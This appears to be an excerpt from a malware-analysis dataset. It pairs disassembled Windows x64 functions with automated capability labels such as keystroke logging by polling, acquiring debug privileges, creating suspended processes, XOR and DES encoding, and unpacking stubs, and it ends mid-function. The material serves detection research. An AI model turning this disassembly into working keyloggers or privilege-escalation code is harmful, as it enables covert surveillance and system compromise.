joyce8/EMBER2024-capa huggingface dataset:
Function at 0x180002d60
Capabilities:
Resolve function by parsing pe exports

Disassembly:
mov dword [rsp + 0x20], r9d
mov dword [rsp + 0x18], r8d
mov qword [rsp + 0x10], rdx
mov dword [rsp + 8], ecx
sub rsp, 0x68
mov eax, dword [rsp + 0x90]
mov dword [rsp + 0x24], eax
mov eax, dword [rsp + 0x80]
sub eax, 0x16b3
mov dword [rsp + 0x48], eax
mov eax, dword [rsp + 0x80]
xor eax, 0x16b3
mov dword [rsp + 0x2c], eax
mov eax, dword [rsp + 0x98]
sub eax, 0xb41
mov dword [rsp + 0x34], eax
mov eax, dword [rsp + 0x98]
sub eax, 0x1775
mov dword [rsp + 0x28], eax
mov eax, dword [rsp + 0x70]
xor eax, 0x3aa4
mov dword [rsp + 0x30], eax
mov eax, dword [rsp + 0x90]
add eax, 0x60
mov dword [rsp + 0x38], eax
mov eax, dword [rsp + 0x88]
add eax, 0x101
mov dword [rsp + 0x4c], eax
mov eax, dword [rsp + 0x88]
xor eax, 0x9ed
mov dword [rsp + 0x50], eax
mov eax, dword [rsp + 0x80]
add eax, 0x8a2
mov dword [rsp + 0x54], eax
mov eax, dword [rsp + 0x2c]
xor eax, 0x19a5
cmp dword [rsp + 0x28], eax
je 0x180002e52
mov rax, qword [rsp + 0x78]
mov eax, dword [rax + 0x9c]
sub eax, 0x962ff
mov rcx, qword [rsp + 0x78]
mov ecx, dword [rcx + 0x28]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x78]
mov dword [rcx + 0x28], eax
mov eax, dword [rsp + 0x24]
add eax, 0x785
mov dword [rsp + 0x24], eax
jmp 0x180002ef0
mov rax, qword [rsp + 0x78]
mov eax, dword [rax + 0x90]
mov dword [rsp + 0x20], eax
jmp 0x180002e6d
mov eax, dword [rsp + 0x20]
inc eax
mov dword [rsp + 0x20], eax
mov eax, dword [rsp + 0x30]
mov ecx, dword [rsp + 0x34]
sub ecx, eax
mov eax, ecx
cmp dword [rsp + 0x20], eax
jge 0x180002ef0
mov eax, dword [rsp + 0x38]
sub eax, 0x1c5f
sub eax, dword [rsp + 0x28]
mov dword [rsp + 0x44], eax
mov eax, 4
imul rax, rax, 0
mov rcx, qword [rsp + 0x78]
mov rdx, qword [rsp + 0x78]
mov eax, dword [rdx + rax + 0x3c]
mov ecx, dword [rcx + 0x38]
sub ecx, eax
mov eax, ecx
mov ecx, 4
imul rcx, rcx, 3
mov rdx, qword [rsp + 0x78]
and eax, dword [rdx + rcx + 0xa4]
mov dword [rsp + 0x40], eax
mov rax, qword [rsp + 0x78]
mov eax, dword [rax + 0x48]
sub eax, 0x1b16
mov dword [rsp + 0x3c], eax
mov r8d, dword [rsp + 0x3c]
mov edx, dword [rsp + 0x40]
mov ecx, dword [rsp + 0x44]
call qword [sym.imp.KERNEL32.dll_OpenThread]
jmp 0x180002e63
mov eax, dword [rsp + 0x2c]
add eax, 0x1b16
add rsp, 0x68
ret
Function at 0x180004660
Capabilities:
Resolve function by parsing pe exports

Disassembly:
mov dword [rsp + 0x20], r9d
mov dword [rsp + 0x18], r8d
mov qword [rsp + 0x10], rdx
mov dword [rsp + 8], ecx
sub rsp, 0x68
mov eax, dword [rsp + 0x98]
sub eax, 0x2286
mov dword [rsp + 0x20], eax
mov eax, dword [rsp + 0xa0]
sub eax, 0x2d13
mov dword [rsp + 0x3c], eax
mov eax, dword [rsp + 0x70]
add eax, 0x121f
mov dword [rsp + 0x30], eax
mov eax, dword [rsp + 0x70]
add eax, 0x2fe
mov dword [rsp + 0x38], eax
mov eax, dword [rsp + 0x80]
xor eax, 0x2540
mov dword [rsp + 0x40], eax
mov eax, dword [rsp + 0xa0]
xor eax, 0xbc0
mov dword [rsp + 0x34], eax
mov eax, dword [rsp + 0x98]
sub eax, 0xce8
mov dword [rsp + 0x2c], eax
mov eax, dword [rsp + 0x88]
sub eax, 0x96d
mov dword [rsp + 0x24], eax
mov eax, dword [rsp + 0x98]
xor eax, 0x7c6
mov dword [rsp + 0x44], eax
mov eax, dword [rsp + 0x24]
add eax, 0x331
cmp dword [rsp + 0x2c], eax
je 0x1800047f7
mov eax, dword [rsp + 0x24]
add eax, 0x14ad
cmp dword [rsp + 0x2c], eax
jge 0x180004745
mov rax, qword [rsp + 0x78]
lea rcx, [0x1800b01a0]
mov qword [rax + 0x70], rcx
mov eax, dword [rsp + 0x20]
add eax, 0x26d3
mov dword [rsp + 0x20], eax
jmp 0x1800047f7
mov eax, dword [rsp + 0x30]
or eax, 0x2286
mov rcx, qword [rsp + 0x78]
sub eax, dword [rcx + 0x2c]
cmp dword [rsp + 0x20], eax
jb 0x1800047f7
mov eax, dword [rsp + 0x20]
mov dword [rsp + 0x28], eax
jmp 0x180004775
mov eax, dword [rsp + 0x28]
add eax, 2
mov dword [rsp + 0x28], eax
mov eax, 4
imul rax, rax, 2
mov rcx, qword [rsp + 0x78]
mov eax, dword [rcx + rax + 0xa4]
add eax, dword [rsp + 0x34]
and eax, dword [rsp + 0x24]
cmp dword [rsp + 0x28], eax
jbe 0x1800047f7
mov eax, 4
imul rax, rax, 3
mov rcx, qword [rsp + 0x78]
mov rdx, qword [rsp + 0x78]
mov eax, dword [rdx + rax + 0xa4]
mov ecx, dword [rcx + 0x98]
xor ecx, eax
mov eax, ecx
mov eax, eax
mov qword [rsp + 0x50], rax
mov rax, qword [rsp + 0x78]
mov eax, dword [rax + 0x98]
mov ecx, dword [rsp + 0x38]
or ecx, eax
mov eax, ecx
sub eax, 0x192e
mov eax, eax
mov qword [rsp + 0x48], rax
mov rdx, qword [rsp + 0x48]
mov rcx, qword [rsp + 0x50]
call qword [sym.imp.KERNEL32.dll_FindNextFileA]
jmp 0x18000476a
mov eax, dword [rsp + 0x3c]
add eax, 0x2286
add rsp, 0x68
ret
Function at 0x180008240
Capabilities:
Get file attributes
Resolve function by parsing pe exports

Disassembly:
mov dword [rsp + 0x20], r9d
mov qword [rsp + 0x18], r8
mov dword [rsp + 0x10], edx
mov dword [rsp + 8], ecx
sub rsp, 0x58
mov eax, dword [rsp + 0x68]
sub eax, 0x5ac
mov dword [rsp + 0x30], eax
mov eax, dword [rsp + 0x78]
mov dword [rsp + 0x20], eax
mov eax, dword [rsp + 0x80]
add eax, 0x1121
mov dword [rsp + 0x34], eax
mov eax, dword [rsp + 0x88]
mov dword [rsp + 0x38], eax
mov eax, dword [rsp + 0x68]
add eax, 0x8e1
mov dword [rsp + 0x3c], eax
mov eax, dword [rsp + 0x68]
add eax, 0x8e1
mov dword [rsp + 0x2c], eax
mov eax, dword [rsp + 0x78]
add eax, 0x43d
mov dword [rsp + 0x40], eax
mov eax, dword [rsp + 0x68]
sub eax, 0x2ba
mov dword [rsp + 0x28], eax
mov eax, dword [rsp + 0x2c]
xor eax, 0xc3d
cmp dword [rsp + 0x20], eax
jg 0x1800082d8
mov eax, dword [rsp + 0x20]
xor eax, 0x7c6
mov dword [rsp + 0x20], eax
jmp 0x18000832a
mov eax, dword [rsp + 0x30]
mov dword [rsp + 0x24], eax
jmp 0x1800082ec
mov eax, dword [rsp + 0x24]
inc eax
mov dword [rsp + 0x24], eax
mov eax, dword [rsp + 0x34]
and eax, 0x2540
mov rcx, qword [rsp + 0x70]
or eax, dword [rcx + 0x90]
cmp dword [rsp + 0x24], eax
jb 0x18000832a
mov rax, qword [rsp + 0x70]
mov eax, dword [rax + 0x2c]
mov ecx, dword [rsp + 0x28]
sub ecx, eax
mov eax, ecx
mov eax, eax
mov qword [rsp + 0x48], rax
mov rcx, qword [rsp + 0x48]
call qword [sym.imp.KERNEL32.dll_GetFileAttributesA]
jmp 0x1800082e2
mov eax, dword [rsp + 0x28]
add eax, 0x8e1
add rsp, 0x58
ret
Function at 0x1800215b0
Capabilities:
Resolve function by parsing pe exports

Disassembly:
mov qword [rsp + 0x20], r9
mov dword [rsp + 0x18], r8d
mov dword [rsp + 0x10], edx
mov dword [rsp + 8], ecx
sub rsp, 0x68
mov eax, dword [rsp + 0xa8]
sub eax, 0x16b3
mov dword [rsp + 0x30], eax
mov eax, dword [rsp + 0xb0]
xor eax, 0x1c5f
mov dword [rsp + 0x38], eax
mov eax, dword [rsp + 0xa8]
xor eax, 0x9e6
mov dword [rsp + 0x3c], eax
mov eax, dword [rsp + 0x90]
sub eax, 0x28d2
mov dword [rsp + 0x2c], eax
mov eax, dword [rsp + 0x98]
sub eax, 0x8a2
mov dword [rsp + 0x40], eax
mov eax, dword [rsp + 0x98]
sub eax, 0x1f55
mov dword [rsp + 0x34], eax
mov eax, dword [rsp + 0x80]
xor eax, 0x6f0
mov dword [rsp + 0x20], eax
mov eax, dword [rsp + 0x90]
sub eax, 0x700
mov dword [rsp + 0x44], eax
mov eax, dword [rsp + 0x34]
xor eax, 0x2540
cmp dword [rsp + 0x2c], eax
jg 0x180021802
mov eax, dword [rsp + 0x20]
xor eax, 0x3628
cmp dword [rsp + 0x34], eax
jg 0x1800216d1
mov eax, 4
imul rax, rax, 1
mov rcx, qword [rsp + 0x88]
mov eax, dword [rcx + rax + 0x88]
xor eax, 0x1663b7
mov rcx, qword [rsp + 0x88]
mov ecx, dword [rcx + 0xa0]
imul ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x88]
mov dword [rcx + 0xa0], eax
mov eax, dword [rsp + 0x20]
sub eax, 0x2f6
mov dword [rsp + 0x20], eax
mov rax, qword [rsp + 0x88]
mov rcx, qword [rsp + 0x88]
mov ecx, dword [rcx + 0xa0]
mov dword [rax + 0x64], ecx
jmp 0x180021802
mov rax, qword [rsp + 0x88]
mov rcx, qword [rsp + 0x88]
mov eax, dword [rax + 0x44]
imul eax, dword [rcx + 0x48]
add eax, dword [rsp + 0x20]
cmp dword [rsp + 0x30], eax
jb 0x180021802
mov eax, dword [rsp + 0x30]
mov dword [rsp + 0x24], eax
jmp 0x18002170b
mov eax, dword [rsp + 0x24]
add eax, 2
mov dword [rsp + 0x24], eax
mov rax, qword [rsp + 0x88]
mov eax, dword [rax + 0x2c]
add eax, 0x3acb
cmp dword [rsp + 0x24], eax
jae 0x180021802
mov eax, 4
imul rax, rax, 0
mov rcx, qword [rsp + 0x88]
mov eax, dword [rcx + rax + 0xb8]
mov dword [rsp + 0x28], eax
jmp 0x18002174e
mov eax, dword [rsp + 0x28]
add eax, 4
mov dword [rsp + 0x28], eax
mov rax, qword [rsp + 0x88]
mov eax, dword [rax + 0x90]
sub eax, 0x2540
cmp dword [rsp + 0x28], eax
jae 0x1800217fd
mov eax, dword [rsp + 0x38]
mov ecx, dword [rsp + 0x2c]
or ecx, eax
mov eax, ecx
cdqe
mov qword [rsp + 0x50], rax
mov eax, 4
imul rax, rax, 0
mov rcx, qword [rsp + 0x88]
mov rdx, qword [rsp + 0x88]
mov edx, dword [rdx + 0x18]
mov eax, dword [rcx + rax + 0xb8]
xor eax, edx
mov eax, eax
mov qword [rsp + 0x48], rax
mov rdx, qword [rsp + 0x48]
mov rcx, qword [rsp + 0x50]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov eax, dword [rsp + 0x2c]
xor eax, 0x26d3
mov ecx, 4
imul rcx, rcx, 3
mov rdx, qword [rsp + 0x88]
add eax, dword [rdx + rcx + 8]
mov rcx, qword [rsp + 0x88]
mov ecx, dword [rcx + 0xb4]
xor ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x88]
mov dword [rcx + 0xb4], eax
jmp 0x180021743
jmp 0x180021700
mov eax, dword [rsp + 0x30]
add eax, 0x2540
add rsp, 0x68
ret
Function at 0x29a0c284d
Capabilities:
Encode data using xor

Disassembly:
push r9
nop
push rbx
nop
push rcx
paddw mm7, mm2
pop rcx
nop
pop rbx
psllq mm0, 0x33
pop r9
push r15
mov r15, 3
push rbx
nop
andps xmm11, xmm6
push r15
rcl r15w, 1
punpcklwd mm4, mm5
push rcx
mov r15d, ecx
psrlw mm4, 0x5d
push r14
emms
dec rbx
pop r14
not ecx
pxor mm6, mm0
pop rcx
sar r15w, 0x13
andps xmm13, xmm9
pop r15
subps xmm9, xmm3
neg bl
pop rbx
dec r15
jne 0x29a0c2868
pop r15
push r8
pmaddwd mm5, mm1
push r12
psrad mm6, 0x2c
push rbx
psllq mm3, 0x36
push r13
pcmpeqw mm1, mm2
push r10
psraw mm4, 0x58
push rcx
xadd r13d, r8d
push rdx
orps xmm2, xmm5
pop rdx
ror cl, 0x11
pop rcx
test r13, r10
pop r10
nop
pop r13
pmaddwd mm3, mm0
pop rbx
mov r8, 7
pop r12
emms
pop r8
ret
Function at 0x14003ca00
Capabilities:
Terminate process

Disassembly:
cld
pop r11
jmp 0x14003ca0d
inc rsi
mov byte [rdi], dl
inc rdi
mov dl, byte [rsi]
add ebx, ebx
jne 0x14003ca1d
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
mov dl, byte [rsi]
jb 0x14003ca05
lea eax, [rcx + 1]
call r11
adc eax, eax
add ebx, ebx
jne 0x14003ca35
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
mov dl, byte [rsi]
jae 0x14003ca22
sub eax, 3
jb 0x14003ca4f
shl eax, 8
movzx edx, dl
or eax, edx
inc rsi
xor eax, 0xffffffff
je 0x14003ca86
movsxd rbp, eax
lea eax, [rcx + 1]
call r11
adc ecx, ecx
call r11
adc ecx, ecx
jne 0x14003ca76
mov ecx, eax
add eax, 2
call r11
adc ecx, ecx
add ebx, ebx
jne 0x14003ca74
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
jae 0x14003ca63
cmp rbp, 0xfffffffffffff300
adc ecx, eax
call fcn.14003c9c2
jmp 0x14003ca0d
pop rsi
mov rdi, rsi
push rsi
mov rdi, rsi
mov rsi, 0x23e00
mov dl, reloc.COMCTL32.dll_InitCommonControls
push rbx
push rdi
lea rcx, [rdi + rsi - 3]
pop rsi
push rsi
pop rbx
jmp 0x14003cad2
cmp rsi, rcx
jae 0x14003cada
push rsi
pop rsi
lodsb al, byte [rsi]
cmp al, 0x80
jb 0x14003cab9
cmp al, 0x8f
ja 0x14003cab9
cmp byte [rsi - 2], 0xf
je 0x14003cabf
sub al, 0xe8
cmp al, 1
ja 0x14003caa3
cmp rsi, rcx
jae 0x14003cada
push rsi
lodsd eax, dword [rsi]
sub al, dl
jne 0x14003caa9
pop rdi
bswap eax
sub eax, edi
add eax, ebx
stosd dword [rdi], eax
cmp rsi, rcx
jae 0x14003cada
lodsb al, byte [rsi]
jmp 0x14003cab9
pop rbx
pop rsi
sub rsp, 0x28
lea rdi, [rsi + 0x39000]
mov eax, dword [rdi]
or eax, eax
je 0x14003cb43
mov ebx, dword [rdi + 4]
lea rcx, [rax + rsi + 0x40ec8]
add rbx, rsi
add rdi, 8
call qword [sym.imp.KERNEL32.DLL_LoadLibraryA]
xchg rbp, rax
mov al, byte [rdi]
inc rdi
or al, al
je 0x14003cae7
jns 0x14003cb1c
movzx rdx, word [rdi]
add rdi, 2
jmp 0x14003cb26
mov rcx, rdi
mov rdx, rdi
dec eax
repne scasb al, byte [rdi]
mov rcx, rbp
call qword [sym.imp.KERNEL32.DLL_GetProcAddress]
or rax, rax
je 0x14003cb3d
mov qword [rbx], rax
add rbx, 8
jmp 0x14003cb07
jmp qword [sym.imp.KERNEL32.DLL_ExitProcess]
add rsp, 0x28
mov rbp, qword [sym.imp.KERNEL32.DLL_VirtualProtect]
lea rdi, [rsi - 0x1000]
mov ebx, 0x1000
push rax
mov r9, rsp
mov r8d, 4
mov rdx, rbx
mov rcx, rdi
sub rsp, 0x20
call rbp
lea rax, [rdi + 0x18f]
and byte [rax], 0x7f
and byte [rax + 0x28], 0x7f
lea r9, [rsp + 0x20]
mov r8, qword [r9]
mov rdx, rbx
mov rcx, rdi
call rbp
add rsp, 0x28
pop rbp
pop rdi
pop rsi
pop rbx
lea rax, [rsp - 0x80]
push 0
cmp rsp, rax
jne 0x14003cb9b
sub rsp, 0xffffffffffffff80
jmp 0x1400242ac
Function at 0x141861e18
Capabilities:
Decompress data using aplib

Disassembly:
call fcn.141861f9f
push r10
mov r10, rsp
push r10
mov rsi, qword [r10 + 0x10]
mov rdi, qword [r10 + 0x20]
cld
mov dl, 0x80
mov al, byte [rsi]
inc rsi
mov byte [rdi], al
inc rdi
mov ebx, 2
add dl, dl
jne 0x141861e49
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x141861e2f
add dl, dl
jne 0x141861e56
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x141861eb6
xor eax, eax
add dl, dl
jne 0x141861e65
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x141861f6d
add dl, dl
jne 0x141861e76
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x141861e83
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x141861e90
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x141861e9d
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
je 0x141861eaa
push rdi
mov eax, eax
sub rdi, rax
mov al, byte [rdi]
pop rdi
mov byte [rdi], al
inc rdi
mov ebx, 2
jmp 0x141861e3e
mov eax, 1
add dl, dl
jne 0x141861ec6
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x141861ed3
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x141861ebb
sub eax, ebx
mov ebx, 1
jne 0x141861f0c
mov ecx, 1
add dl, dl
jne 0x141861eee
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x141861efb
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x141861ee3
push rsi
mov rsi, rdi
sub rsi, rbp
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x141861e3e
dec eax
shl eax, 8
mov al, byte [rsi]
inc rsi
mov ebp, eax
mov ecx, 1
add dl, dl
jne 0x141861f28
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x141861f35
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x141861f1d
cmp eax, 0x7d00
jae 0x141861f5b
cmp eax, 0x500
jb 0x141861f56
inc ecx
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x141861e3e
cmp eax, 0x7f
ja 0x141861f5e
add ecx, 2
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x141861e3e
mov al, byte [rsi]
inc rsi
xor ecx, ecx
shr al, 1
je 0x141861f92
adc ecx, 2
mov ebp, eax
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
mov ebx, 1
jmp 0x141861e3e
pop r10
sub rdi, qword [r10 + 0x20]
mov eax, edi
pop r10
ret 0x20
Function at 0x140002e70
Capabilities:
Encode data using xor

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
push rdi
sub rsp, 0x20
xor ebx, ebx
mov rdi, rcx
lea rsi, [0x140000000]
mov ecx, ebx
nop dword [rax]
movsx rax, byte [rcx + rsi + 0x7f680]
add rcx, 6
movzx eax, byte [rax + rdi - 1]
mov byte [rcx + rsi + 0x959ca], al
movsx rax, byte [rcx + rsi + 0x7f67b]
movzx eax, byte [rax + rdi - 1]
mov byte [rcx + rsi + 0x959cb], al
movsx rax, byte [rcx + rsi + 0x7f67c]
movzx eax, byte [rax + rdi - 1]
mov byte [rcx + rsi + 0x959cc], al
movsx rax, byte [rcx + rsi + 0x7f67d]
movzx eax, byte [rax + rdi - 1]
mov byte [rcx + rsi + 0x959cd], al
movsx rax, byte [rcx + rsi + 0x7f67e]
movzx eax, byte [rax + rdi - 1]
mov byte [rcx + rsi + 0x959ce], al
movsx rax, byte [rcx + rsi + 0x7f67f]
movzx eax, byte [rax + rdi - 1]
mov byte [rcx + rsi + 0x959cf], al
cmp rcx, 0x30
jl 0x140002e90
mov rax, qword [0x1400959d0]
lea r9, [0x1400d3bd8]
mov r8, rbx
mov qword [0x1400d3bd8], rax
mov rax, qword [0x1400959d8]
sub rdx, r9
mov qword [0x1400d3be0], rax
mov rax, qword [0x1400959e0]
mov qword [0x1400d3be8], rax
mov rax, qword [0x1400959e8]
mov qword [0x1400d3bf0], rax
mov rax, qword [0x1400959f0]
mov qword [0x1400d3bf8], rax
mov rax, qword [0x1400959f8]
mov qword [0x1400d3c00], rax
nop dword [rax]
lea rcx, [r8 + r9]
add r8, 6
movzx eax, byte [rdx + rcx]
xor byte [rcx], al
movzx eax, byte [rdx + rcx + 1]
xor byte [rcx + 1], al
movzx eax, byte [rdx + rcx + 2]
xor byte [rcx + 2], al
movzx eax, byte [rdx + rcx + 3]
xor byte [rcx + 3], al
movzx eax, byte [rdx + rcx + 4]
xor byte [rcx + 4], al
movzx eax, byte [rcx + rdx + 5]
xor byte [rcx + 5], al
cmp r8, 0x30
jl 0x140002f80
mov rcx, rdi
call fcn.140003070
nop word [rax + rax]
movsx rax, byte [rbx + rsi + 0x7f6b0]
add rbx, 4
movzx eax, byte [rax + rdi - 1]
mov byte [rbx + rsi + 0x959cc], al
movsx rax, byte [rbx + rsi + 0x7f6ad]
movzx eax, byte [rax + rdi - 1]
mov byte [rbx + rsi + 0x959cd], al
movsx rax, byte [rbx + rsi + 0x7f6ae]
movzx eax, byte [rax + rdi - 1]
mov byte [rbx + rsi + 0x959ce], al
movsx rax, byte [rbx + rsi + 0x7f6af]
movzx eax, byte [rax + rdi - 1]
mov byte [rbx + rsi + 0x959cf], al
cmp rbx, 0x20
jl 0x140002fd0
mov rax, qword [0x1400959d0]
mov rbx, qword [rsp + 0x30]
mov rsi, qword [rsp + 0x38]
mov qword [rdi], rax
mov rax, qword [0x1400959d8]
mov qword [rdi + 8], rax
mov rax, qword [0x1400959e0]
mov qword [rdi + 0x10], rax
mov rax, qword [0x1400959e8]
mov qword [rdi + 0x18], rax
add rsp, 0x20
pop rdi
ret
Function at 0x140003070
Capabilities:
Encrypt data using des

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rdi
xor r11d, r11d
lea r10, [rcx + 2]
lea r9, [0x1400d3bd9]
lea ebx, [r11 + 8]
lea rdi, [0x14007f750]
nop word [rax + rax]
movzx eax, byte [r9]
movzx ecx, byte [r9 + 1]
movzx edx, byte [r9 - 1]
add al, al
add dl, dl
add r10, 4
add dl, byte [r9 + 4]
add cl, al
add r9, 6
add cl, cl
movsx r8, dl
add cl, byte [r9 - 4]
add r8, r11
add r11, 4
add cl, cl
shl r8, 4
add cl, byte [r9 - 3]
movsx rax, cl
add r8, rax
movzx eax, byte [r8 + rdi]
and al, 1
mov byte [r10 - 6], al
movzx eax, byte [r8 + rdi]
sar al, 1
and al, 1
mov byte [r10 - 5], al
movzx eax, byte [r8 + rdi]
sar al, 2
and al, 1
mov byte [r10 - 4], al
movzx eax, byte [r8 + rdi]
sar al, 3
and al, 1
dec rbx
mov byte [r10 - 3], al
jne 0x1400030a0
mov rbx, qword [rsp + 8]
mov rdi, qword [rsp + 0x10]
ret

Function at 0x140004490
Capabilities:
Acquire debug privileges
Create process on windows
Create process suspended

Disassembly:
mov r11, rsp
mov qword [r11 + 0x10], rbx
push rdi
sub rsp, 0x100
mov rax, qword [0x140091208]
xor rax, rsp
mov qword [rsp + 0xf0], rax
mov rbx, rcx
lea r8, [r11 - 0x24]
lea rdx, str.SeDebugPrivilege
xor edi, edi
xor ecx, ecx
mov qword [r11 - 0x28], 1
mov dword [r11 - 0x20], edi
mov dword [r11 - 0x1c], 2
call qword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueW]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
lea r8, [rsp + 0x50]
lea edx, [rdi + 0x20]
mov rcx, rax
call qword [sym.imp.ADVAPI32.dll_OpenProcessToken]
mov rcx, qword [rsp + 0x50]
lea r9d, [rdi + 0x10]
lea r8, [rsp + 0xe0]
xor edx, edx
mov qword [rsp + 0x28], rdi
mov qword [rsp + 0x20], rdi
call qword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
mov rcx, qword [rsp + 0x50]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea r8d, [rdi + 0x68]
lea rcx, [rsp + 0x70]
xor edx, edx
call fcn.140054b20
lea rax, [rsp + 0x58]
xor r9d, r9d
mov qword [rsp + 0x48], rax
lea rax, [rsp + 0x70]
xor r8d, r8d
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], rdi
mov qword [rsp + 0x30], rdi
mov rdx, rbx
xor ecx, ecx
mov dword [rsp + 0x28], edi
mov dword [rsp + 0x20], 1
mov dword [rsp + 0x70], WSAGetLastError
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
jne 0x14000457f
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov rcx, qword [rsp + 0xf0]
xor rcx, rsp
call fcn.140051c70
mov rbx, qword [rsp + 0x118]
add rsp, 0x100
pop rdi
ret
Function at 0x140004b20
Capabilities:
Get keyboard layout
Log keystrokes via polling

Disassembly:
mov qword [rsp + 0x10], rbx
push rdi
sub rsp, 0x260
mov rax, qword [0x140091208]
xor rax, rsp
mov qword [rsp + 0x250], rax
mov ebx, ecx
lea rcx, [rsp + 0x40]
xor edx, edx
mov r8d, 0x208
call fcn.140054b20
cmp ebx, 0x20
jbe 0x140004bcc
xor ecx, ecx
call qword [sym.imp.USER32.dll_GetKeyboardLayout]
mov edx, 2
mov ecx, ebx
mov r8, rax
call qword [sym.imp.USER32.dll_MapVirtualKeyExW]
mov ecx, reloc.WS2_32.dll_recv
mov word [rsp + 0x40], ax
call qword [sym.imp.USER32.dll_GetKeyState]
mov edi, 0x8000
test di, ax
jne 0x140004ba8
mov ecx, reloc.WS2_32.dll_sendto
call qword [sym.imp.USER32.dll_GetKeyState]
test ax, ax
jne 0x140004ba8
mov ecx, ebx
call fcn.140052e18
mov word [rsp + 0x40], ax
jmp 0x140004bad
mov word [rsp + 0x40], bx
mov ecx, reloc.WS2_32.dll_recv
call qword [sym.imp.USER32.dll_GetKeyState]
test di, ax
je 0x140004bd6
movzx eax, word [rsp + 0x40]
sub ax, 0x30
cmp ax, 9
ja 0x140004bd6
mov eax, 0x20
mov word [rsp + 0x40], ax
lea r9, [rsp + 0x40]
lea rdx, [rsp + 0x30]
lea rcx, [rsp + 0x38]
mov r8d, 2
mov qword [rsp + 0x20], 1
call fcn.140053364
movsxd r11, dword [0x1400d3900]
movzx eax, byte [rsp + 0x30]
lea rbx, [0x140095900]
xor edi, edi
mov byte [r11 + rbx], al
inc r11d
mov dword [0x1400d3900], r11d
cmp r11d, 0xc8
jl 0x140004c43
mov rcx, rbx
call fcn.140009750
xor edx, edx
mov r8d, 0xc8
mov rcx, rbx
call fcn.140054b20
mov dword [0x1400d3900], edi
mov ecx, 0xa0
mov word [rsp + 0x42], di
call qword [sym.imp.USER32.dll_GetKeyState]
mov ecx, 0xa1
call qword [sym.imp.USER32.dll_GetKeyState]
mov ecx, reloc.WS2_32.dll_sendto
call qword [sym.imp.USER32.dll_GetKeyState]
mov ecx, 0xa2
call qword [sym.imp.USER32.dll_GetKeyState]
mov ecx, 0xa3
call qword [sym.imp.USER32.dll_GetKeyState]
mov ecx, 0xa4
call qword [sym.imp.USER32.dll_GetKeyState]
mov ecx, 0xa5
call qword [sym.imp.USER32.dll_GetKeyState]
lea r11, [rsp + 0x40]
nop word [rax + rax]
movzx eax, word [r11]
add r11, 2
test ax, ax
jne 0x140004ca0
lea rax, [rsp + 0x42]
sub r11, rax
sar r11, 1
add r11, r11
je 0x140004cc6
mov ecx, dword [rsp + 0x40]
call fcn.140004950
xor eax, eax
mov rcx, qword [rsp + 0x250]
xor rcx, rsp
call fcn.140051c70
mov rbx, qword [rsp + 0x278]
add rsp, 0x260
pop rdi
ret
Function at 0x140005740
Capabilities:
Create thread

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x4a0
mov rax, qword [0x140091208]
xor rax, rsp
mov qword [rsp + 0x490], rax
call fcn.1400051d0
mov qword [0x1400d3908], rax
test rax, rax
jne 0x140005785
lea rcx, [0x1400d3908]
mov byte [reloc.WS2_32.dll_accept], 1
call fcn.14005355c
jmp 0x14000578c
mov byte [reloc.WS2_32.dll_accept], 0
call fcn.1400053e0
mov qword [0x1400d3910], rax
nop
nop
nop
nop
nop
lea rcx, [rsp + 0x280]
xor edx, edx
mov r8d, 0x208
call fcn.140054b20
lea rdx, [rsp + 0x280]
mov r8d, 0x104
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
lea rcx, [rsp + 0x60]
xor edx, edx
mov r8d, 0x104
call fcn.140054b20
lea rcx, [0x140095900]
xor edx, edx
mov r8d, 0xc8
call fcn.140054b20
xor ebx, ebx
mov dword [0x1400d3900], ebx
call fcn.1400050d0
test al, al
jne 0x140005809
call fcn.140003420
call fcn.140004fb0
cmp byte [reloc.WS2_32.dll_accept], bl
je 0x14000583a
lea rcx, str.INSTALL_
call fcn.140003660
lea r8, [0x1400045a0]
xor r9d, r9d
xor edx, edx
xor ecx, ecx
mov qword [rsp + 0x28], rbx
mov dword [rsp + 0x20], ebx
call qword [sym.imp.KERNEL32.dll_CreateThread]
call fcn.14000a880
call fcn.140008e70
jmp 0x1400059a9
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ExitThread]

Function at 0x140008b30
Capabilities:
Get process image filename

Disassembly:
push rbx
sub rsp, 0x230
